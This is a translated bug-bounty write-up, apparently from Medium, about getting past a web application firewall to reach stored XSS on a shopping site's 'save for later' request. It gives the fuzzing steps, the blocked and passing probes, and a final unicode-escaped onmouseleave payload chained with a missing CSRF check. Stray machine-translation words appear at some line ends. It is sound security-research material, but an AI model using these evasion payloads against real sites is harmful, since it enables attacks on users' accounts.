嗨,读者们
经过标题,您可能会知道这是有关使用UNICODE进行 XSS WAF绕过的文章。所以,让咱们对我正在测试的应用程序有个小想法。有一个名为“稍后保存” 的选项,该选项可将您的账户中的项目保存起来以备后用。该请求看起来像:
若是对用户进行了正确的身份验证,则此发布请求会将项目保存在用户账户中,以供之后使用;若是对用户进行了不正确的身份验证,则该请求仅会返回一些值。所以,我在参数上手动进行模糊处理,而且注意到传递的参数值在响应主体中获得反映,而在通过身份验证和未经身份验证的场景中都没有适当的转义。我发送的请求的参数值 :“ xss \”> <”,
响应为:html
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>"data-itemnumber="<ID>" data-productid="<ID>" data-channel="xss"> <" data-quantity="1" data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart </a>
咱们输入的值在<a>标记内,因为引号和小于/大于-符号未正确过滤,所以咱们能够跳出来。所以,我认为我有不少方法能够在这里进行XSS,直到我输入:“ xss \” onclick = \“ alert(1)”而且响应为:
所以,存在WAF。为了绕开它,我开始模糊测试,结果是:dom
“ channel”:“ xss \” onclick = \“ alert(1)” ==> WAF “ channel”:“ xss \” xss = \“ alert(1)” ==> WAF “ channel”:“ xss \” onclick = \“ alert(1)” ==> WAF “ channel”:“ xss \” xss = \“ xxx(1)” ==>没有WAF
所以,我尝试建立一个标签,而不是在<a>标签中添加事件属性,而后输入:“ xss \”> <xss> test”,响应为:
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid ="<ID>" data-itemnumber ="<ID>"
data-productid ="<ID>" data-channel =" xss">test" data-quantity =" 1"
data-isbundleitem ="false" role ="link" tabindex ="0" aria-label="label">移至购物车
</a>
所以,它也删除了看起来像tag的上下文。所以,咱们没有建立标签的优点。所以,咱们惟一的方法是绕过WAF 在<a>标记中使用事件属性。所以,我尝试经过fuzzdb使用html-event-attributes.txt 进行暴力破解,以查看是否没有任何事件被WAF阻止而且没有获得任何有趣的结果。而后我对unicode进行了编码,并输入了一个随机unicode来查看它是否在响应中进行解码,而后将其解码为原始字符的bingo。因此如今我再次开始使用unicode + events,结果是:xss
“ xss \” \ u003E \ u003Cxss \ u003Etest“ ==> data-channel =” xss“> <xss> test” “ xss \” xss = \“ co \ u006efirm(domain)” ==>没有WAF “ xss \” onc \ u006Cick = \“ co \ u006efirm(domain)” ==> HTTP / 1.1 403禁止
所以,咱们在这里有了新的利用方式,也有了新的问题。
优势是咱们如今可使用unicode建立HTML标签。
甚至在使用unicode后,咱们添加onc \ u006Cick事件也会收到一个新的错误HTTP / 1.1 403 Forbidden。
所以,我再次从html-event-attributes.txt + Unicode制做了一个单词表,并获得了onmous \ u0045leave和ond \ u0072ag事件,返回了HTTP / 1.1 200 OK,咱们还能够建立HTML标签。因此我作了最后的有效载荷:-xss \“ \ u003E \ u003Ch1 onmous \ u0045leave = co \ u006efirm(domain)\ u003ECme \ u003C / h1 \ u003E \ u003Cbr \ u003E \ u003C!-
响应主体是:ide
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>" data-productid="<ID>" data-channel="xss"> <h1 onmouseleave=confirm(domain)>come to me</h1> <br> <!--" data-quantity ="1" data-isbundleitem ="false" role ="link" tabindex ="0" aria-label ="label">移至购物车 </a>
将鼠标指针放在come to me,而后移开
如今,由于这是一个POST请求,而且没有CSRF保护,因此我将CSRF + XSS = P2已存储的XSS连接到已认证的用户。
谢谢阅读 。学习
翻译自medium.com
免责申明:本文由互联网整理翻译而来,仅供我的学习参考,若有侵权,请联系咱们,告知删除。测试